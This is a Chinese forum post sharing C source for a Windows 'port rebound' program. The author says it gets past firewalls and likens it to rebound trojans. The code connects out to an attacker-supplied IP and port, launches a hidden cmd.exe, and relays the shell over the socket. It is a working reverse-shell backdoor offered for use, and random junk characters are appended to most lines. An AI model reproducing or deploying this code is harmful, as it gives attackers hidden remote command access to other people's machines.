社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6513阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (K$K;f$"r  
mT.p-C  
/* ============================== ^n@.  
Rebound port in Windows NT `Z{kJMS  
By wind,2006/7 t)o #!)|  
===============================*/ mMqT-jT  
#include '676\2.  
#include v>3)^l:=Y*  
d{.cIv  
#pragma comment(lib,"wsock32.lib") YJw9 d]  
:&= TE2  
void OutputShell(); 9.| +KIRb  
SOCKET sClient; P'#m1ntxQ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D4yJ:ATO&  
}DTpl?l  
void main(int argc,char **argv) 5_+vjV;5  
{ ,P^pDrc  
WSADATA stWsaData;  :GC <U|p  
int nRet; ^e$;I8l  
SOCKADDR_IN stSaiClient,stSaiServer; j380=? 7  
f\"Qgn  
if(argc != 3) Q5e ,[1  
{ v]g/ 5qI&  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4Vj|k\vE4  
return; ^*C+^l&J!  
} DCb\ =E  
p ez^]I  
WSAStartup(MAKEWORD(2,2),&stWsaData); [ADr _  
cA"',N8!5  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Nt#zr]Fz  
ZLdvzH@'  
stSaiClient.sin_family = AF_INET; @EzSosmF  
stSaiClient.sin_port = htons(0); (veGztt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4KE"r F  
RqW ZhHI1M  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) lhTjG,U=  
{ XOO!jnQu  
printf("Bind Socket Failed!\n"); |,bsMJh0  
return; bD<[OerG  
} Q44Pg$jp  
]{V q;  
stSaiServer.sin_family = AF_INET; ;]?1i4p)  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T#^   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CU 2;m\Hc  
>2`)S{pBD  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s;q]:+#7g  
{ .]%PnJM9K  
printf("Connect Error!"); JxI}#iA  
return; I,vy__ sZ  
} !o 2" th  
OutputShell(); S pDVD  
} m/n_e g  
Mw@T!)(  
void OutputShell() T%K(opISc(  
{ _n_lO8mK  
char szBuff[1024]; UiA\J  
SECURITY_ATTRIBUTES stSecurityAttributes; ~fB: >ceD  
OSVERSIONINFO stOsversionInfo; QRXsLdf$$  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  vrdlI^  
STARTUPINFO stStartupInfo; 9H ?er_6Yf  
char *szShell; -,Cx|Nl  
PROCESS_INFORMATION stProcessInformation; dlN(_6>b  
unsigned long lBytesRead; :kqJ~  
-W wFUm  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $6h:j#{JE  
/HgdTyR)  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 33|>u+  
stSecurityAttributes.lpSecurityDescriptor = 0; d/Xbk%`p  
stSecurityAttributes.bInheritHandle = TRUE; MVz=:2)J2  
fM?HZKo  
Bv \ihUg/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B#AAG*Ai8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G!k&'{2  
DCM ,|FE  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); k_#ra7zP  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )6iY9[@tN  
stStartupInfo.wShowWindow = SW_HIDE; jDI O,XuF  
stStartupInfo.hStdInput = hReadPipe; s;X"E =  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Rtw^ lo  
5j1}?0v_  
GetVersionEx(&stOsversionInfo); IBb3A  
2 ]5dSXD  
switch(stOsversionInfo.dwPlatformId) iU{bPyz ,  
{ Rv ?G o2  
case 1: LGKkT?fcSC  
szShell = "command.com"; ~T>_}Q[M2p  
break; 6Lz{/l8  
default: &Eg>[gAIlp  
szShell = "cmd.exe"; aM5zYj`pW  
break; 6c>t|=Ss(  
} $-YS\R\9x  
Sx+.<]t2A  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |;ycEB1  
"2(lgxhj  
send(sClient,szMsg,77,0); *O,\/aQ+  
while(1) DtG><g}[]  
{ LF* 7;a  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PmyS6a@  
if(lBytesRead) ?Q;8D@   
{ p}_bu@;.Z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b+yoD  
send(sClient,szBuff,lBytesRead,0); +"6_rbeuO  
} $Ll]h</Z  
else #qT97NQ  
{ ;H /*%2  
lBytesRead=recv(sClient,szBuff,1024,0); ;!DUNzl  
if(lBytesRead<=0) break; ,Y=r] fk  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P}N%**>`  
} nzE4P3 C+  
} sy+1xnz  
~b/lr  
return; >|WNsjkU%  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五